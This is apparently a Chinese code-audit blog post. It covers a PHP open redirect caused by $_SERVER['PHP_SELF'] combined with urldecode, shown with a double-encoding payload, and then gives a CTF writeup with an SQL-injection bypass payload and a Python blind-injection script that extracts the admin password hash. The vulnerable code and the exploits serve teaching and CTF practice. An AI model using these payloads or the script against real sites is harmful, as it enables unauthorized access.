0%

代码审计-- $_SERVER['PHP_SELF']导致的防御失效问题

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Redirect {
private $websiteHost = 'www.example.com';

private function setHeaders($url) {
$url = urldecode($url);
header("Location: $url");
}

public function startRedirect($params) {
$parts = explode('/', $_SERVER['PHP_SELF']);
$baseFile = end($parts);
$url = sprintf(
"%s?%s",
$baseFile,
http_build_query($params)
);
$this->setHeaders($url);
}
}

if ($_GET['redirect']) {
(new Redirect())->startRedirect($_GET['params']);
}

漏洞解析

$_SERVER[‘PHP_SELF’]

$_SERVER[‘PHP_SELF’] 表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关。

假设我们有如下网址,$_SERVER[‘PHP_SELF’]得到的结果分别为:

http://www.5idev.com/php/ :/php/index.php
http://www.5idev.com/php/index.php :/php/index.php
http://www.5idev.com/php/index.php?test=foo :/php/index.php
http://www.5idev.com/php/index.php/test/foo :/php/index.php/test/foo

因此,可以使用 $_SERVER[‘PHP_SELF’] 很方便的获取当前页面的地址:

$url = “http://“.$_SERVER[‘HTTP_HOST’].$_SERVER[‘PHP_SELF’];

以上面的地址为例,得到的结果如下:

http://www.5idev.com/php/index.php

上面是简单获取 http 协议的当前页面 URL ,只是要注意该地址是不包含 URL 中请求的参数(?及后面的字串)的。如果希望得到包含请求参数的完整 URL 地址,请使用 $_SERVER[‘REQUEST_URI’] 。

详细利用

HP自带的$_SERVER[‘PHP_SELF’] 参数是可以控制的。其中 PHP_SELF 指当前的页面绝对地址,比如我们的网站:http://www.test.com/redict/index.php,那么PHP_SELF 就是 /redict/index.php 。但有个小问题很多人没有注意到,当URL是PATH_INFO的时候,比如:http://www.test.com/redict/index.php/admin,那么PHP_SELF就是/redict/index.php/admin 也就是说,其实 PHP_SELF 有一部分是我们可以控制的。

双编码问题:

URL本来是被浏览器编码过一次,服务器接收到来自浏览器URL请求的时候,会将URL解码一次,由于在程序中我们看到有 urldecode() 函数存在,它会再次解码一次URL,此时双编码URL就可以利用,用于绕过某些关键词检测。比如将 / 编码为: %252f

漏洞利用:

比如我们要跳转到www.baidu.com ,那么就可以构造 Payload :http://www.test.com/index.php/http:%252f%252fwww.baidu.com ,访问即可重定向跳转到http://www.baidu.com

CTF 题目

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
include "./config.php";
include "./flag.php";
error_reporting(0);

$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit(":P");
if(preg_match($black_list, $_GET['pwd'])) exit(":P");

$query="select user from users where user='$_GET[user]' and pwd='$_GET[pwd]'";
echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
$result = $conn->query($query);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
if($row['user']) echo "<h2>Welcome {$row['user']}</h2>";
}

$result = $conn->query("select pwd from users where user='admin'");
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$admin_pass = $row['pwd'];
}

if(($admin_pass)&&($admin_pass === $_GET['pwd'])){
echo $flag;
}
highlight_file(__FILE__);
?>

config.php

1
2
3
4
5
6
7
8
9
10
<?php  
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day15";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
?>

flag.php

1
2
3
<?php
$flag = "HRCTF{Sql_and_byPass_WAF!}";
?>

sql语句

1
2
3
4
5
6
7
8
9
10
11
DROP DATABASE IF EXISTS day15;
CREATE DATABASE day15;
USE day15;
CREATE TABLE users (
id int(6) unsigned auto_increment primary key,
user varchar(20) not null,
pwd varchar(40) not null
);

INSERT INTO users(user,pwd) VALUES('Lucia','82ebeafb2b5dede380a0d2e1323d6d0b');
INSERT INTO users(user,pwd) VALUES('Admin','c609b5eda02acd7b163f500cb23b06b1');

CTF 题解

 似乎这题和上面提到的漏洞没有半毛钱关系呀,完全就是一个sql注入的题目。
先来看看黑名单:

1
2
$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";

注意第二个式子是 .=就是把2个字符串连接起来。我们注意到没过滤\但是可以注释用的# -都被过滤了,好在我们可以用;%00来进行注释。
例如,我们的payload为:

1
2
3
?user=\&pwd=||1;%00
对应sql语句:
select user from users where user='\' and pwd='||1;'

嗯,这样就可以注入成功了。但是我们想要得到flag ,pwd就需要等于admin的pwd,我们可以使用regexp来正则一个一个爆破出来。例如:

1
2
3
4
5
6
7
8
9
10
11
import requests
char_set = '0123456789abcdef' #md5是16进制字符组成的字符串
pw = ''
for a in range(32):
for ch in char_set:
url = 'http://127.0.0.1/day15/index.php?user=\&pwd=||pwd/**/regexp/**/"^{}";%00'
r = requests.get(url=url.format(pw+ch))
if 'Welcome Admin' in r.text:
pw += ch
print(pw)
break

然后我们输入这个pwd就可以了,如:

1
?pwd=c609b5eda02acd7b163f500cb23b06b1

就可以看到flag了。


-------------本文结束感谢您的阅读-------------